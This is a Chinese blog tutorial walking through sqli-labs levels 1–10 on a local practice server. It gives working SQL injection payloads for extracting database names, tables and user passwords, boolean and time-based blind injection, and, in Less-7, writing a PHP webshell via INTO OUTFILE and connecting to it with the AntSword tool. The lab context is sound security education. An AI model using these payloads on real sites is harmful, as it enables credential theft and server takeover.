SQL注入之sqli-labs的Less1~10史上最详细通关教程

SQL注入之sqli-labs的Less1~10史上最详细通关教程

首先需要准备好火狐浏览器(方便下载hackbar这个插件)还有phpstudy搭建,以及sqli-labs搭建。其次,我们需要有一定的数据库基本语句基础,通关时有必要的语句我会解释,也希望大家可以自己在网上查找学习相关语句。
下面展示一些 基本语句

查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema='security' 
查列:select column_name from information_schema.columns where table_name='users'
查字段:select username,passord from security.users
查系统用户:select system_user()
查数据库:select database()
查版本信息:select version()
查安装路径:select @@datadir
查操作系统:select @@version_compile_os

为了方便进行操作,我们可以将每一关自己输入的sql语句显示到浏览器页面上,具体操作如下:SQL注入之sqli-labs的Less1~10史上最详细通关教程_第1张图片
将index.php文件打开,添加两行代码:
在这里插入图片描述

文章目录

  • SQL注入之sqli-labs的Less1~10史上最详细通关教程
  • Less-1
  • Less-2
  • Less-3
  • Less-4
  • 补充知识
  • Less-5
  • Less-6
  • Less-7
  • Less-8
  • Less-9
  • Less-10


Less-1

按F12打开我们的hackbar插件,当我们输入

http://127.0.0.1/sqli-labs-master/Less-1/?id=1

SQL注入之sqli-labs的Less1~10史上最详细通关教程_第2张图片

点击Execute执行页面显示:SQL注入之sqli-labs的Less1~10史上最详细通关教程_第3张图片
在这里解释下limit0,1。第一位0代表的是从id的第一个开始,第二位1代表输出一行。可以通过mysql命令行来进行验证,如下图:SQL注入之sqli-labs的Less1~10史上最详细通关教程_第4张图片
SQL注入之sqli-labs的Less1~10史上最详细通关教程_第5张图片
然后我们输入语句:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'

此处说明#、–+、 – 、都是sql语句中的注释符,
结果如图所示
在这里插入图片描述
后面加上注释符–+后运行后如图所示
SQL注入之sqli-labs的Less1~10史上最详细通关教程_第6张图片
此处即可判断存在注入漏洞
然后我们输入新的语句执行

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3--+

显示结果如图所示
SQL注入之sqli-labs的Less1~10史上最详细通关教程_第7张图片

解释一下order by 3语句的意思,它可以对表中的每列元素进行排序,users表中有3列,分为id、username、password。当输入order by 4的时候显示错误,证明表中有三列数据。可以通过mysql命令行进行验证学习。同时,当未知表中有多少列,我们可以通过二分法尝试,得出结果。
SQL注入之sqli-labs的Less1~10史上最详细通关教程_第8张图片
然后输入语句:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+

当输入id=1的时候页面没有回显,此时需要让前面报错执行后面的语句,所以需要id=-1,联合查询语句的作用主要是如下图:
SQL注入之sqli-labs的Less1~10史上最详细通关教程_第9张图片
然后输入语句

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

我们通过这个语句可以找到所有数据库。解释一下group_concat()语句,它是将所有的数据拼接成一行进行显示,如图所示:
在这里插入图片描述
然后可以取出security库中的数据,输入以下语句:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

SQL注入之sqli-labs的Less1~10史上最详细通关教程_第10张图片
根据最上方给出的语句同理可以取出你所需要的数据。接下来输入语句:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+

concat_ws(’~’,a,b)是个拼接语句,输出为
a~b
在这里插入图片描述
至此,第一关已通关。

Less-2

当输入

http://127.0.0.1/sqli-labs-master/Less-2/?id=1'

SQL注入之sqli-labs的Less1~10史上最详细通关教程_第11张图片
此处多了一个单引号,所以删掉单引号后进行注入,原理同上。

Less-3

当我们输入

http://127.0.0.1/sqli-labs-master/Less-3/?id=1'

在这里插入图片描述

可以发现第三关与一二关的不同,每一关的包裹id的方法不同,第一关的id值是’1’,第二关的id值1,第三关的id值(‘1’)。
然后我们输入

http://127.0.0.1/sqli-labs-master/Less-3/?id=1')--+

将原来的’)注释掉,即可找到注入漏洞。原理还是同上。

Less-4

第四关的id值包裹方法是(“1”),所以和第三关一样,我们可以输入

http://127.0.0.1/sqli-labs-master/Less-4/?id=1")--+

然后进行注入。

补充知识

select left(database(),1)='s'  left(a,b)从左侧截取a的前b位,正确返回1,错误返回0
select user() regexp'r'		   user()的结果是root,regexp为匹配root的正则表达式。 
select user()like 'ro%'		   功能与regexp相似。
substr(a,b,c):	               从位置b开始,截取a字符串c位长度
ascii()		                   将某个字符串转化为ascii值
chr(数字)或ord('字母')       	使用python中的两个函数可以判断当前的ascii值是多少

Less-5

http://127.0.0.1/sqli-labs-master/Less-5/?id=1

查看是否有注入漏洞

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'order by 4--+

查看有多少列数据

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left((select database()),1)='s'--+

判断第一位是否是s,然后用bp进行爆破

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>50--+

通过二分法猜解得到所有库,在进行表、列、字段的查询即可

Less-6

与第五关原理相同,单引号变双引号即可。

Less-7

1.第七关需要安装中国蚁剑,教程链接如下
链接: https://blog.csdn.net/weixin_43148062/article/details/105467611.
2.然后在phpstudy目录中添加文件,如下图SQL注入之sqli-labs的Less1~10史上最详细通关教程_第12张图片
3.添加php一句话木马在www文件下。记得修改后缀为php。
SQL注入之sqli-labs的Less1~10史上最详细通关教程_第13张图片
4.打开中国蚁剑,添加数据
SQL注入之sqli-labs的Less1~10史上最详细通关教程_第14张图片
5.介绍两个函数
读取本地文件:

select load_file();

写文件

into outfile

用法:

select 'mysql' into outfile'test1.txt';

文件保存位置在phpstudy->mysql->data中
还可以指定路径,单斜杠不行用双斜杠

select 'mysql' into outfile'D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-7';

然后我们开始通关:
1.通过以上学习,可以轻松得到注入点

http://127.0.0.1/sqli-labs-master/Less-7/?id=1'))--+

2.查看多少列

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 3--+

3.写入一句话木马程序

http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'' into outfile 'D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\b.php'--+

执行效果如图所示:
SQL注入之sqli-labs的Less1~10史上最详细通关教程_第15张图片
然后我们进入中国蚁剑,添加数据
SQL注入之sqli-labs的Less1~10史上最详细通关教程_第16张图片
点击测试连接,双击ip地址即可获取网站的webshell,即可通关。

Less-8

当我们输入

http://127.0.0.1/sqli-labs-master/Less-8/?id=1

SQL注入之sqli-labs的Less1~10史上最详细通关教程_第17张图片
页面正常,加引号判断

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'

SQL注入之sqli-labs的Less1~10史上最详细通关教程_第18张图片
当我们加入注释符–+后,页面显示正常,我们可以同第五关的办法进行通关。

Less-9

当我们用上面的方法进行试探报错时发现无论加单引号还是双引号还是order by都无法报错,此时我们可以使用时间盲注
输入

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5)--+

发现它执行了5秒不报错,证明有注入漏洞
输入

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(length(database())=8,1,sleep(5))--+

这个语句可以判断数据库的长度,如果是8则会较快返回,不是则会睡眠一定时间。
然后我们可以用第5关的方法进行注入

Less-10

将第九关的单引号改成双引号即可。

你可能感兴趣的:(安全,web安全,数据库)